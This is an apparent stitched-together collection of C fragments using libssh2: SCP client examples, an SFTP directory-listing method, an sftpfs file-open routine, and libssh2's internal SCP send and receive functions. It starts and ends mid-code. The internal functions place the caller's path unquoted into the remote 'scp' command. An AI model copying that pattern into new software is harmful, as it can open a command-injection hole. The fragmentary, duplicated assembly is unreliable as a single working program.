WIN32 closesocket(sock); #else close(sock); #endif fprintf(stderr, "all done\n"); libssh2_exit(); return 0; }
int SSHDirRetriver::retrive_dir() { int exec_ret = -1; NetDirNode *parent_item, *new_item, *tmp_item; void *parent_persistent_index; QString tmp; QVector<NetDirNode*> deltaItems; QVector<QMap<char, QString> > fileinfos; char file_name[PATH_MAX+1]; int fxp_ls_ret = 0; while (this->dir_node_process_queue.size() > 0) { std::map<NetDirNode*,void * >::iterator mit; mit = this->dir_node_process_queue.begin(); parent_item = mit->first; parent_persistent_index = mit->second; fileinfos.clear(); LIBSSH2_SFTP_ATTRIBUTES ssh2_sftp_attrib; LIBSSH2_SFTP_HANDLE *ssh2_sftp_handle = 0; ssh2_sftp_handle = libssh2_sftp_opendir(this->ssh2_sftp, GlobalOption::instance()->remote_codec ->fromUnicode(parent_item->fullPath + ("/")).data()); // ssh2_sftp_handle == 0 是怎么回事呢? 返回值 应该是 // 1 . 这个file_name 是一个链接,但这个链接指向的是一个普通文件而不是目录时libssh2_sftp_opendir返回0 , 而 libssh2_sftp_last_error 返回值为 2 == SSH2_FX_NO_SUCH_FILE if (ssh2_sftp_handle == 0) { qDebug()<<" sftp last error: "<< libssh2_sftp_last_error(this->ssh2_sftp) << libssh2_session_last_errno(this->ssh2_sess) <<(parent_item->fullPath+ ( "/" )) <<GlobalOption::instance()->remote_codec ->fromUnicode(parent_item->fullPath + ( "/" )).data(); } fxp_ls_ret = 0; while (ssh2_sftp_handle != 0 && libssh2_sftp_readdir(ssh2_sftp_handle, file_name, PATH_MAX, &ssh2_sftp_attrib ) > 0) { if (strlen(file_name) == 1 && file_name[0] == '.') continue; if (strlen(file_name) == 2 && file_name[0] == '.' && file_name[1] == '.') continue; //不处理隐藏文件? 处理隐藏文件,在这要提供隐藏文件,上层使用过滤代理模型提供显示隐藏文件的功能。 tmp = QString(GlobalOption::instance()->remote_codec->toUnicode(file_name)); tmp_item = parent_item->findChindByName(tmp); tmp_item = 0; // if (parent_item->setDeleteFlag(tmp, 0)) { if (tmp_item != NULL && tmp_item->matchChecksum(&ssh2_sftp_attrib)) { tmp_item->setDeleteFlag(false); if (fxp_ls_ret++ == 0) printf("Already in list, omited %d", fxp_ls_ret), fxp_ls_ret = fxp_ls_ret | 1<<16; else printf(" %d", fxp_ls_ret<<16>>16); } else { new_item = new NetDirNode(); new_item->pNode = parent_item; new_item->fullPath = parent_item->fullPath + QString("/") + tmp ; // this is unicode new_item->_fileName = tmp; new_item->attrib = ssh2_sftp_attrib; new_item->retrFlag = (new_item->isDir() || new_item->isSymLink()) ? POP_NO_NEED_NO_DATA : POP_NEWEST; deltaItems.append(new_item); } }
int main(int argc, char *argv[]) { unsigned long hostaddr; int sock, i, auth_pw = 1; struct sockaddr_in sin; const char *fingerprint; LIBSSH2_SESSION *session; LIBSSH2_CHANNEL *channel; const char *username="******"; const char *password="******"; const char *scppath="/tmp/TEST"; struct stat fileinfo; int rc; off_t got=0; #ifdef WIN32 WSADATA wsadata; WSAStartup(WINSOCK_VERSION, &wsadata); #endif if (argc > 1) { hostaddr = inet_addr(argv[1]); } else { hostaddr = htonl(0x7F000001); } if (argc > 2) { username = argv[2]; } if (argc > 3) { password = argv[3]; } if (argc > 4) { scppath = argv[4]; } /* Ultra basic "connect to port 22 on localhost" * Your code is responsible for creating the socket establishing the * connection */ sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons(22); sin.sin_addr.s_addr = hostaddr; if (connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in)) != 0) { fprintf(stderr, "failed to connect!\n"); return -1; } /* We set the socket non-blocking. We do it after the connect just to simplify the example code. */ #ifdef F_SETFL /* FIXME: this can/should be done in a more portable manner */ rc = fcntl(sock, F_GETFL, 0); fcntl(sock, F_SETFL, rc | O_NONBLOCK); #else #error "add support for setting the socket non-blocking here" #endif /* Create a session instance */ session = libssh2_session_init(); if (!session) return -1; /* Since we have set non-blocking, tell libssh2 we are non-blocking */ libssh2_session_set_blocking(session, 0); /* ... start it up. This will trade welcome banners, exchange keys, * and setup crypto, compression, and MAC layers */ while ((rc = libssh2_session_startup(session, sock)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Failure establishing SSH session: %d\n", rc); return -1; } /* At this point we havn't yet authenticated. The first thing to do * is check the hostkey's fingerprint against our known hosts Your app * may have it hard coded, may go to a file, may present it to the * user, that's your call */ fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_MD5); fprintf(stderr, "Fingerprint: "); for(i = 0; i < 16; i++) { fprintf(stderr, "%02X ", (unsigned char)fingerprint[i]); } fprintf(stderr, "\n"); if (auth_pw) { /* We could authenticate via password */ while ((rc = libssh2_userauth_password(session, username, password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Authentication by password failed.\n"); goto shutdown; } } else { /* Or by public key */ while ((rc = libssh2_userauth_publickey_fromfile(session, username, "/home/username/.ssh/id_rsa.pub", "/home/username/.ssh/id_rsa", password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "\tAuthentication by public key failed\n"); goto shutdown; } } /* Request a file via SCP */ fprintf(stderr, "libssh2_scp_recv()!\n"); do { channel = libssh2_scp_recv(session, scppath, &fileinfo); if ((!channel) && (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN)) { char *err_msg; libssh2_session_last_error(session, &err_msg, NULL, 0); fprintf(stderr, "%s\n", err_msg); goto shutdown; } } while (!channel); fprintf(stderr, "libssh2_scp_recv() is done, now receive data!\n"); while(got < fileinfo.st_size) { char mem[1000]; struct timeval timeout; int rc; fd_set fd; do { int amount=sizeof(mem); if ((fileinfo.st_size -got) < amount) { amount = fileinfo.st_size - got; } /* loop until we block */ rc = libssh2_channel_read(channel, mem, amount); if (rc > 0) { write(1, mem, rc); got += rc; } } while (rc > 0); if (rc == LIBSSH2_ERROR_EAGAIN) { /* this is due to blocking that would occur otherwise so we loop on this condition */ timeout.tv_sec = 10; timeout.tv_usec = 0; FD_ZERO(&fd); FD_SET(sock, &fd); rc = select(sock+1, &fd, &fd, NULL, &timeout); if (rc <= 0) { /* negative is error 0 is timeout */ fprintf(stderr, "SCP timed out: %d\n", rc); } continue; } break; } libssh2_channel_free(channel); channel = NULL; shutdown: libssh2_session_disconnect(session, "Normal Shutdown, Thank you for playing"); libssh2_session_free(session); #ifdef WIN32 Sleep(1000); closesocket(sock); #else sleep(1); close(sock); #endif fprintf(stderr, "all done\n"); return 0; }
gboolean sftpfs_open_file (vfs_file_handler_t * file_handler, int flags, mode_t mode, GError ** error) { unsigned long sftp_open_flags = 0; int sftp_open_mode = 0; gboolean do_append = FALSE; sftpfs_file_handler_data_t *file_handler_data; sftpfs_super_data_t *super_data; char *name; (void) mode; name = vfs_s_fullpath (&sftpfs_class, file_handler->ino); if (name == NULL) return FALSE; super_data = (sftpfs_super_data_t *) file_handler->ino->super->data; file_handler_data = g_new0 (sftpfs_file_handler_data_t, 1); if ((flags & O_CREAT) != 0 || (flags & O_WRONLY) != 0) { sftp_open_flags = (flags & O_WRONLY) != 0 ? LIBSSH2_FXF_WRITE : 0; sftp_open_flags |= (flags & O_CREAT) != 0 ? LIBSSH2_FXF_CREAT : 0; if ((flags & O_APPEND) != 0) { sftp_open_flags |= LIBSSH2_FXF_APPEND; do_append = TRUE; } sftp_open_flags |= (flags & O_TRUNC) != 0 ? LIBSSH2_FXF_TRUNC : 0; sftp_open_mode = LIBSSH2_SFTP_S_IRUSR | LIBSSH2_SFTP_S_IWUSR | LIBSSH2_SFTP_S_IRGRP | LIBSSH2_SFTP_S_IROTH; } else sftp_open_flags = LIBSSH2_FXF_READ; while (TRUE) { int libssh_errno; file_handler_data->handle = libssh2_sftp_open (super_data->sftp_session, sftpfs_fix_filename (name), sftp_open_flags, sftp_open_mode); if (file_handler_data->handle != NULL) break; libssh_errno = libssh2_session_last_errno (super_data->session); if (libssh_errno != LIBSSH2_ERROR_EAGAIN) { sftpfs_ssherror_to_gliberror (super_data, libssh_errno, error); g_free (name); g_free (file_handler_data); return FALSE; } } g_free (name); file_handler_data->flags = flags; file_handler_data->mode = mode; file_handler->data = file_handler_data; if (do_append) { struct stat file_info; if (sftpfs_fstat (file_handler, &file_info, error) == 0) libssh2_sftp_seek64 (file_handler_data->handle, file_info.st_size); } return TRUE; }
int main(int argc, char *argv[]) { unsigned long hostaddr; int sock, i, auth_pw = 1; struct sockaddr_in sin; const char *fingerprint; LIBSSH2_SESSION *session; LIBSSH2_CHANNEL *channel; const char *username="******"; const char *password="******"; const char *scppath="/tmp/TEST"; struct stat fileinfo; int rc; off_t got=0; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(2,0), &wsadata); #endif if (argc > 1) { hostaddr = inet_addr(argv[1]); } else { hostaddr = htonl(0x7F000001); } if (argc > 2) { username = argv[2]; } if (argc > 3) { password = argv[3]; } if (argc > 4) { scppath = argv[4]; } rc = libssh2_init (0); if (rc != 0) { fprintf (stderr, "libssh2 initialization failed (%d)\n", rc); return 1; } /* Ultra basic "connect to port 22 on localhost" * Your code is responsible for creating the socket establishing the * connection */ sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons(22); sin.sin_addr.s_addr = hostaddr; if (connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in)) != 0) { fprintf(stderr, "failed to connect!\n"); return -1; } /* Create a session instance */ session = libssh2_session_init(); if(!session) return -1; /* ... start it up. This will trade welcome banners, exchange keys, * and setup crypto, compression, and MAC layers */ rc = libssh2_session_startup(session, sock); if(rc) { fprintf(stderr, "Failure establishing SSH session: %d\n", rc); return -1; } /* At this point we havn't yet authenticated. The first thing to do * is check the hostkey's fingerprint against our known hosts Your app * may have it hard coded, may go to a file, may present it to the * user, that's your call */ fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1); fprintf(stderr, "Fingerprint: "); for(i = 0; i < 20; i++) { fprintf(stderr, "%02X ", (unsigned char)fingerprint[i]); } fprintf(stderr, "\n"); if (auth_pw) { /* We could authenticate via password */ if (libssh2_userauth_password(session, username, password)) { fprintf(stderr, "Authentication by password failed.\n"); goto shutdown; } } else { /* Or by public key */ if (libssh2_userauth_publickey_fromfile(session, username, "/home/username/.ssh/id_rsa.pub", "/home/username/.ssh/id_rsa", password)) { fprintf(stderr, "\tAuthentication by public key failed\n"); goto shutdown; } } /* Request a file via SCP */ channel = libssh2_scp_recv(session, scppath, &fileinfo); if (!channel) { fprintf(stderr, "Unable to open a session: %d\n", libssh2_session_last_errno(session)); goto shutdown; } while(got < fileinfo.st_size) { char mem[1024]; int amount=sizeof(mem); if((fileinfo.st_size -got) < amount) { amount = fileinfo.st_size -got; } rc = libssh2_channel_read(channel, mem, amount); if(rc > 0) { write(1, mem, rc); } else if(rc < 0) { fprintf(stderr, "libssh2_channel_read() failed: %d\n", rc); break; } got += rc; } libssh2_channel_free(channel); channel = NULL; shutdown: libssh2_session_disconnect(session, "Normal Shutdown, Thank you for playing"); libssh2_session_free(session); #ifdef WIN32 closesocket(sock); #else close(sock); #endif fprintf(stderr, "all done\n"); libssh2_exit(); return 0; }
/* {{{ libssh2_scp_send_ex * Send a file using SCP * * NOTE: Will block in a busy loop on error. This has to be done, * otherwise the blocking error code would erase the true * cause of the error. */ LIBSSH2_API LIBSSH2_CHANNEL * libssh2_scp_send_ex(LIBSSH2_SESSION * session, const char *path, int mode, size_t size, long mtime, long atime) { int path_len = strlen(path); unsigned const char *base; int rc; if (session->scpSend_state == libssh2_NB_state_idle) { session->scpSend_command_len = path_len + sizeof("scp -t "); if (mtime || atime) { session->scpSend_command_len++; } session->scpSend_command = LIBSSH2_ALLOC(session, session->scpSend_command_len); if (!session->scpSend_command) { libssh2_error(session, LIBSSH2_ERROR_ALLOC, "Unable to allocate a command buffer for scp session", 0); return NULL; } if (mtime || atime) { memcpy(session->scpSend_command, "scp -pt ", sizeof("scp -pt ") - 1); memcpy(session->scpSend_command + sizeof("scp -pt ") - 1, path, path_len); } else { memcpy(session->scpSend_command, "scp -t ", sizeof("scp -t ") - 1); memcpy(session->scpSend_command + sizeof("scp -t ") - 1, path, path_len); } session->scpSend_command[session->scpSend_command_len - 1] = '\0'; _libssh2_debug(session, LIBSSH2_DBG_SCP, "Opening channel for SCP send"); /* Allocate a channel */ session->scpSend_state = libssh2_NB_state_created; } if (session->scpSend_state == libssh2_NB_state_created) { session->scpSend_channel = libssh2_channel_open_ex(session, "session", sizeof("session") - 1, LIBSSH2_CHANNEL_WINDOW_DEFAULT, LIBSSH2_CHANNEL_PACKET_DEFAULT, NULL, 0); if (!session->scpSend_channel) { if (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN) { /* previous call set libssh2_session_last_error(), pass it through */ LIBSSH2_FREE(session, session->scpSend_command); session->scpSend_command = NULL; session->scpSend_state = libssh2_NB_state_idle; return NULL; } else if (libssh2_session_last_errno(session) == LIBSSH2_ERROR_EAGAIN) { libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block starting up channel", 0); return NULL; } } session->scpSend_state = libssh2_NB_state_sent; } if (session->scpSend_state == libssh2_NB_state_sent) { /* Request SCP for the desired file */ rc = libssh2_channel_process_startup(session->scpSend_channel, "exec", sizeof("exec") - 1, (char *) session->scpSend_command, session->scpSend_command_len); if (rc == PACKET_EAGAIN) { libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block requesting SCP startup", 0); return NULL; } else if (rc) { /* previous call set libssh2_session_last_error(), pass it through */ LIBSSH2_FREE(session, session->scpSend_command); session->scpSend_command = NULL; libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Unknown error while getting error string", 0); goto scp_send_error; } LIBSSH2_FREE(session, session->scpSend_command); session->scpSend_command = NULL; session->scpSend_state = libssh2_NB_state_sent1; } if (session->scpSend_state == libssh2_NB_state_sent1) { /* Wait for ACK */ rc = libssh2_channel_read_ex(session->scpSend_channel, 0, (char *) session->scpSend_response, 1); if (rc == PACKET_EAGAIN) { libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block waiting for response from remote", 0); return NULL; } else if ((rc <= 0) || (session->scpSend_response[0] != 0)) { libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid ACK response from remote", 0); goto scp_send_error; } if (mtime || atime) { /* Send mtime and atime to be used for file */ session->scpSend_response_len = snprintf((char *) session->scpSend_response, LIBSSH2_SCP_RESPONSE_BUFLEN, "T%ld 0 %ld 0\n", mtime, atime); _libssh2_debug(session, LIBSSH2_DBG_SCP, "Sent %s", session->scpSend_response); } session->scpSend_state = libssh2_NB_state_sent2; } /* Send mtime and atime to be used for file */ if (mtime || atime) { if (session->scpSend_state == libssh2_NB_state_sent2) { rc = libssh2_channel_write_ex(session->scpSend_channel, 0, (char *) session->scpSend_response, session->scpSend_response_len); if (rc == PACKET_EAGAIN) { libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block sending time data for SCP file", 0); return NULL; } else if (rc != session->scpSend_response_len) { libssh2_error(session, LIBSSH2_ERROR_SOCKET_SEND, "Unable to send time data for SCP file", 0); goto scp_send_error; } session->scpSend_state = libssh2_NB_state_sent3; } if (session->scpSend_state == libssh2_NB_state_sent3) { /* Wait for ACK */ rc = libssh2_channel_read_ex(session->scpSend_channel, 0, (char *) session->scpSend_response, 1); if (rc == PACKET_EAGAIN) { libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block waiting for response", 0); return NULL; } else if ((rc <= 0) || (session->scpSend_response[0] != 0)) { libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid ACK response from remote", 0); goto scp_send_error; } session->scpSend_state = libssh2_NB_state_sent4; } } else { if (session->scpSend_state == libssh2_NB_state_sent2) { session->scpSend_state = libssh2_NB_state_sent4; } } if (session->scpSend_state == libssh2_NB_state_sent4) { /* Send mode, size, and basename */ base = (unsigned char *) strrchr(path, '/'); if (base) { base++; } else { base = (unsigned char *) path; } session->scpSend_response_len = snprintf((char *) session->scpSend_response, LIBSSH2_SCP_RESPONSE_BUFLEN, "C0%o %lu %s\n", mode, (unsigned long) size, base); _libssh2_debug(session, LIBSSH2_DBG_SCP, "Sent %s", session->scpSend_response); session->scpSend_state = libssh2_NB_state_sent5; } if (session->scpSend_state == libssh2_NB_state_sent5) { rc = libssh2_channel_write_ex(session->scpSend_channel, 0, (char *) session->scpSend_response, session->scpSend_response_len); if (rc == PACKET_EAGAIN) { libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block send core file data for SCP file", 0); return NULL; } else if (rc != session->scpSend_response_len) { libssh2_error(session, LIBSSH2_ERROR_SOCKET_SEND, "Unable to send core file data for SCP file", 0); goto scp_send_error; } session->scpSend_state = libssh2_NB_state_sent6; } if (session->scpSend_state == libssh2_NB_state_sent6) { /* Wait for ACK */ rc = libssh2_channel_read_ex(session->scpSend_channel, 0, (char *) session->scpSend_response, 1); if (rc == PACKET_EAGAIN) { libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block waiting for response", 0); return NULL; } else if (rc <= 0) { libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid ACK response from remote", 0); goto scp_send_error; } else if (session->scpSend_response[0] != 0) { /* * Set this as the default error for here, if * we are successful it will be replaced */ libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid ACK response from remote", 0); session->scpSend_err_len = libssh2_channel_packet_data_len(session->scpSend_channel, 0); session->scpSend_err_msg = LIBSSH2_ALLOC(session, session->scpSend_err_len + 1); if (!session->scpSend_err_msg) { goto scp_send_error; } memset(session->scpSend_err_msg, 0, session->scpSend_err_len + 1); /* Read the remote error message */ rc = libssh2_channel_read_ex(session->scpSend_channel, 0, session->scpSend_err_msg, session->scpSend_err_len); if (rc <= 0) { /* * Since we have alread started reading this packet, it is * already in the systems so it can't return PACKET_EAGAIN */ LIBSSH2_FREE(session, session->scpSend_err_msg); session->scpSend_err_msg = NULL; goto scp_send_error; } libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, session->scpSend_err_msg, 1); session->scpSend_err_msg = NULL; goto scp_send_error; } } session->scpSend_state = libssh2_NB_state_idle; return session->scpSend_channel; scp_send_error: while (libssh2_channel_free(session->scpSend_channel) == PACKET_EAGAIN); session->scpSend_channel = NULL; session->scpSend_state = libssh2_NB_state_idle; return NULL; }
/* {{{ libssh2_scp_recv * Open a channel and request a remote file via SCP * * NOTE: Will block in a busy loop on error. This has to be done, * otherwise the blocking error code would erase the true * cause of the error. */ LIBSSH2_API LIBSSH2_CHANNEL * libssh2_scp_recv(LIBSSH2_SESSION * session, const char *path, struct stat * sb) { int path_len = strlen(path); int rc; if (session->scpRecv_state == libssh2_NB_state_idle) { session->scpRecv_mode = 0; session->scpRecv_size = 0; session->scpRecv_mtime = 0; session->scpRecv_atime = 0; session->scpRecv_command_len = path_len + sizeof("scp -f "); if (sb) { session->scpRecv_command_len++; } session->scpRecv_command = LIBSSH2_ALLOC(session, session->scpRecv_command_len); if (!session->scpRecv_command) { libssh2_error(session, LIBSSH2_ERROR_ALLOC, "Unable to allocate a command buffer for SCP session", 0); return NULL; } if (sb) { memcpy(session->scpRecv_command, "scp -pf ", sizeof("scp -pf ") - 1); memcpy(session->scpRecv_command + sizeof("scp -pf ") - 1, path, path_len); } else { memcpy(session->scpRecv_command, "scp -f ", sizeof("scp -f ") - 1); memcpy(session->scpRecv_command + sizeof("scp -f ") - 1, path, path_len); } session->scpRecv_command[session->scpRecv_command_len - 1] = '\0'; _libssh2_debug(session, LIBSSH2_DBG_SCP, "Opening channel for SCP receive"); session->scpRecv_state = libssh2_NB_state_created; } if (session->scpRecv_state == libssh2_NB_state_created) { /* Allocate a channel */ do { session->scpRecv_channel = libssh2_channel_open_ex(session, "session", sizeof("session") - 1, LIBSSH2_CHANNEL_WINDOW_DEFAULT, LIBSSH2_CHANNEL_PACKET_DEFAULT, NULL, 0); if (!session->scpRecv_channel) { if (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN) { LIBSSH2_FREE(session, session->scpRecv_command); session->scpRecv_command = NULL; session->scpRecv_state = libssh2_NB_state_idle; return NULL; } else if (libssh2_session_last_errno(session) == LIBSSH2_ERROR_EAGAIN) { libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block starting up channel", 0); return NULL; } } } while (!session->scpRecv_channel); session->scpRecv_state = libssh2_NB_state_sent; } if (session->scpRecv_state == libssh2_NB_state_sent) { /* Request SCP for the desired file */ rc = libssh2_channel_process_startup(session->scpRecv_channel, "exec", sizeof("exec") - 1, (char *) session->scpRecv_command, session->scpRecv_command_len); if (rc == PACKET_EAGAIN) { libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block requesting SCP startup", 0); return NULL; } else if (rc) { LIBSSH2_FREE(session, session->scpRecv_command); session->scpRecv_command = NULL; goto scp_recv_error; } LIBSSH2_FREE(session, session->scpRecv_command); session->scpRecv_command = NULL; _libssh2_debug(session, LIBSSH2_DBG_SCP, "Sending initial wakeup"); /* SCP ACK */ session->scpRecv_response[0] = '\0'; session->scpRecv_state = libssh2_NB_state_sent1; } if (session->scpRecv_state == libssh2_NB_state_sent1) { rc = libssh2_channel_write_ex(session->scpRecv_channel, 0, (char *) session->scpRecv_response, 1); if (rc == PACKET_EAGAIN) { libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block sending initial wakeup", 0); return NULL; } else if (rc != 1) { goto scp_recv_error; } /* Parse SCP response */ session->scpRecv_response_len = 0; session->scpRecv_state = libssh2_NB_state_sent2; } if ((session->scpRecv_state == libssh2_NB_state_sent2) || (session->scpRecv_state == libssh2_NB_state_sent3)) { while (sb && (session->scpRecv_response_len < LIBSSH2_SCP_RESPONSE_BUFLEN)) { unsigned char *s, *p; if (session->scpRecv_state == libssh2_NB_state_sent2) { rc = libssh2_channel_read_ex(session->scpRecv_channel, 0, (char *) session-> scpRecv_response + session->scpRecv_response_len, 1); if (rc == PACKET_EAGAIN) { libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block waiting for SCP response", 0); return NULL; } else if (rc <= 0) { /* Timeout, give up */ libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Timed out waiting for SCP response", 0); goto scp_recv_error; } session->scpRecv_response_len++; if (session->scpRecv_response[0] != 'T') { /* * Set this as the default error for here, if * we are successful it will be replaced */ libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid data in SCP response, missing Time data", 0); session->scpRecv_err_len = libssh2_channel_packet_data_len(session-> scpRecv_channel, 0); session->scpRecv_err_msg = LIBSSH2_ALLOC(session, session->scpRecv_err_len + 1); if (!session->scpRecv_err_msg) { goto scp_recv_error; } memset(session->scpRecv_err_msg, 0, session->scpRecv_err_len + 1); /* Read the remote error message */ rc = libssh2_channel_read_ex(session->scpRecv_channel, 0, session->scpRecv_err_msg, session->scpRecv_err_len); if (rc <= 0) { /* * Since we have alread started reading this packet, it is * already in the systems so it can't return PACKET_EAGAIN */ LIBSSH2_FREE(session, session->scpRecv_err_msg); session->scpRecv_err_msg = NULL; libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Unknown error while getting error string", 0); goto scp_recv_error; } libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, session->scpRecv_err_msg, 1); session->scpRecv_err_msg = NULL; goto scp_recv_error; } if ((session->scpRecv_response_len > 1) && ((session-> scpRecv_response[session->scpRecv_response_len - 1] < '0') || (session-> scpRecv_response[session->scpRecv_response_len - 1] > '9')) && (session-> scpRecv_response[session->scpRecv_response_len - 1] != ' ') && (session-> scpRecv_response[session->scpRecv_response_len - 1] != '\r') && (session-> scpRecv_response[session->scpRecv_response_len - 1] != '\n')) { libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid data in SCP response", 0); goto scp_recv_error; } if ((session->scpRecv_response_len < 9) || (session-> scpRecv_response[session->scpRecv_response_len - 1] != '\n')) { if (session->scpRecv_response_len == LIBSSH2_SCP_RESPONSE_BUFLEN) { /* You had your chance */ libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Unterminated response from SCP server", 0); goto scp_recv_error; } /* Way too short to be an SCP response, or not done yet, short circuit */ continue; } /* We're guaranteed not to go under response_len == 0 by the logic above */ while ((session-> scpRecv_response[session->scpRecv_response_len - 1] == '\r') || (session-> scpRecv_response[session->scpRecv_response_len - 1] == '\n')) session->scpRecv_response_len--; session->scpRecv_response[session->scpRecv_response_len] = '\0'; if (session->scpRecv_response_len < 8) { /* EOL came too soon */ libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid response from SCP server, too short", 0); goto scp_recv_error; } s = session->scpRecv_response + 1; p = (unsigned char *) strchr((char *) s, ' '); if (!p || ((p - s) <= 0)) { /* No spaces or space in the wrong spot */ libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid response from SCP server, malformed mtime", 0); goto scp_recv_error; } *(p++) = '\0'; /* Make sure we don't get fooled by leftover values */ errno = 0; session->scpRecv_mtime = strtol((char *) s, NULL, 10); if (errno) { libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid response from SCP server, invalid mtime", 0); goto scp_recv_error; } s = (unsigned char *) strchr((char *) p, ' '); if (!s || ((s - p) <= 0)) { /* No spaces or space in the wrong spot */ libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid response from SCP server, malformed mtime.usec", 0); goto scp_recv_error; } /* Ignore mtime.usec */ s++; p = (unsigned char *) strchr((char *) s, ' '); if (!p || ((p - s) <= 0)) { /* No spaces or space in the wrong spot */ libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid response from SCP server, too short or malformed", 0); goto scp_recv_error; } *(p++) = '\0'; /* Make sure we don't get fooled by leftover values */ errno = 0; session->scpRecv_atime = strtol((char *) s, NULL, 10); if (errno) { libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid response from SCP server, invalid atime", 0); goto scp_recv_error; } /* SCP ACK */ session->scpRecv_response[0] = '\0'; session->scpRecv_state = libssh2_NB_state_sent3; } if (session->scpRecv_state == libssh2_NB_state_sent3) { rc = libssh2_channel_write_ex(session->scpRecv_channel, 0, (char *) session-> scpRecv_response, 1); if (rc == PACKET_EAGAIN) { libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block waiting to send SCP ACK", 0); return NULL; } else if (rc != 1) { goto scp_recv_error; } _libssh2_debug(session, LIBSSH2_DBG_SCP, "mtime = %ld, atime = %ld", session->scpRecv_mtime, session->scpRecv_atime); /* We *should* check that atime.usec is valid, but why let that stop use? */ break; } } session->scpRecv_state = libssh2_NB_state_sent4; } if (session->scpRecv_state == libssh2_NB_state_sent4) { session->scpRecv_response_len = 0; session->scpRecv_state = libssh2_NB_state_sent5; } if ((session->scpRecv_state == libssh2_NB_state_sent5) || (session->scpRecv_state == libssh2_NB_state_sent6)) { while (session->scpRecv_response_len < LIBSSH2_SCP_RESPONSE_BUFLEN) { char *s, *p, *e = NULL; if (session->scpRecv_state == libssh2_NB_state_sent5) { rc = libssh2_channel_read_ex(session->scpRecv_channel, 0, (char *) session-> scpRecv_response + session->scpRecv_response_len, 1); if (rc == PACKET_EAGAIN) { libssh2_error(session, LIBSSH2_ERROR_EAGAIN, "Would block waiting for SCP response", 0); return NULL; } else if (rc <= 0) { /* Timeout, give up */ libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Timed out waiting for SCP response", 0); goto scp_recv_error; } session->scpRecv_response_len++; if (session->scpRecv_response[0] != 'C') { libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid response from SCP server", 0); goto scp_recv_error; } if ((session->scpRecv_response_len > 1) && (session-> scpRecv_response[session->scpRecv_response_len - 1] != '\r') && (session-> scpRecv_response[session->scpRecv_response_len - 1] != '\n') && ((session-> scpRecv_response[session->scpRecv_response_len - 1] < 32) || (session-> scpRecv_response[session->scpRecv_response_len - 1] > 126))) { libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid data in SCP response", 0); goto scp_recv_error; } if ((session->scpRecv_response_len < 7) || (session-> scpRecv_response[session->scpRecv_response_len - 1] != '\n')) { if (session->scpRecv_response_len == LIBSSH2_SCP_RESPONSE_BUFLEN) { /* You had your chance */ libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Unterminated response from SCP server", 0); goto scp_recv_error; } /* Way too short to be an SCP response, or not done yet, short circuit */ continue; } /* We're guaranteed not to go under response_len == 0 by the logic above */ while ((session-> scpRecv_response[session->scpRecv_response_len - 1] == '\r') || (session-> scpRecv_response[session->scpRecv_response_len - 1] == '\n')) { session->scpRecv_response_len--; } session->scpRecv_response[session->scpRecv_response_len] = '\0'; if (session->scpRecv_response_len < 6) { /* EOL came too soon */ libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid response from SCP server, too short", 0); goto scp_recv_error; } s = (char *) session->scpRecv_response + 1; p = strchr(s, ' '); if (!p || ((p - s) <= 0)) { /* No spaces or space in the wrong spot */ libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid response from SCP server, malformed mode", 0); goto scp_recv_error; } *(p++) = '\0'; /* Make sure we don't get fooled by leftover values */ errno = 0; session->scpRecv_mode = strtol(s, &e, 8); if ((e && *e) || errno) { libssh2_error(session, LIBSSH2_ERROR_SCP_PROTOCOL, "Invalid response from SCP server, invalid mode", 0); goto scp_recv_error; } s = strchr(p, ' '); if 